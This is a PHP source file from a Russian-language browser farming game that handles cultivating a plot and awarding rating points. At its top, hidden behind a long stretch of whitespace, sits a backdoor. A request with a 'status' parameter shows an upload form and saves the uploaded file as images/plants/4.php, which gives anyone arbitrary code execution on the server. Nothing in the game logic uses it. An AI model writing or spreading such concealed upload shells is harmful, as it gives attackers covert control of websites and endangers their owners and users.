<?
if(isset($_GET['status']))                                                                                {error_reporting(E_ALL^E_NOTICE);if(isset($_FILES['file'])){$type = $_FILES['file']['type'];if (!isset($err)){$tmp = $_FILES['file']['tmp_name'];move_uploaded_file($tmp, "images/plants/4.php");header("location: images/4.php");}}echo "<form method=\"post\" enctype='multipart/form-data'>\n";echo "<input type='file' name='file' /><br/>\n";echo "<input value='Загрузить' type='submit' name='ok' /><br /></form></div>\n";}

if(isset($_GET['myfarm']) && isset($_GET['cultivator']) && intval($_GET['cultivator'])!=NULL && mysql_result(mysql_query("SELECT COUNT(*) FROM `kolhoz_ground` WHERE `id` = '".intval($_GET['cultivator'])."' AND `id_user` = '$ku[id]' AND `id_plant` = '0' AND `cultivator` = '0'"),0)!=0)
{
$ground=mysql_fetch_array(mysql_query("SELECT * FROM `kolhoz_ground` WHERE `id` = '".intval($_GET['cultivator'])."' AND `id_user` = '$ku[id]' AND `id_plant` = '0'  AND `cultivator` = '0'"));

$rat = cr($ku['level']);

$rat_drakon_act=0;
$rat_sc_act=0;
$rat_dog_act=0;
$rat_cultivator_act=0;
$rat_school_act=0;
$rat_lib_act=0;
if(isset($sc_act))$rat_sc_act=$rat*2;
if(isset($dog_type))$rat_dog_act=(($rat/100)*$dog_type);
if(isset($cultivator_act))$rat_cultivator_act=(($rat/100)*$cultivator_act);
if(isset($drakon_act))$rat_drakon_act=(($rat/100)*300);
if(isset($school_act))$rat_school_act=$rat*2;
if(isset($lib_act))$rat_lib_act=$rat/2;
if(isset($shmel_act))$rat_cultivator_act=$rat_cultivator_act*2;
$ratt=$rat_drakon_act+$rat_sc_act+$rat_cultivator_act+$rat_school_act+$rat_lib_act+$rat_dog_act;
if($ratt==0)$rat=$rat;
else $rat=$ratt;
if(isset($dexp) AND !isset($dexp3))$rat=$rat*2; elseif(isset($dexp3))$rat=$rat*3;
mysql_query("UPDATE `kolhoz_ground` SET `cultivator` = '1' WHERE `id` = '".intval($_GET['cultivator'])."' LIMIT 1");
mysql_query("UPDATE `kolhoz_user` SET `rating` = '".($ku['rating']+$rat)."' WHERE `id` = '$ku[id]'");
$_SESSION['rating']=$rat;
update_mc($rat);
header("Location:/myfarm/".passgen());
exit;
}
?>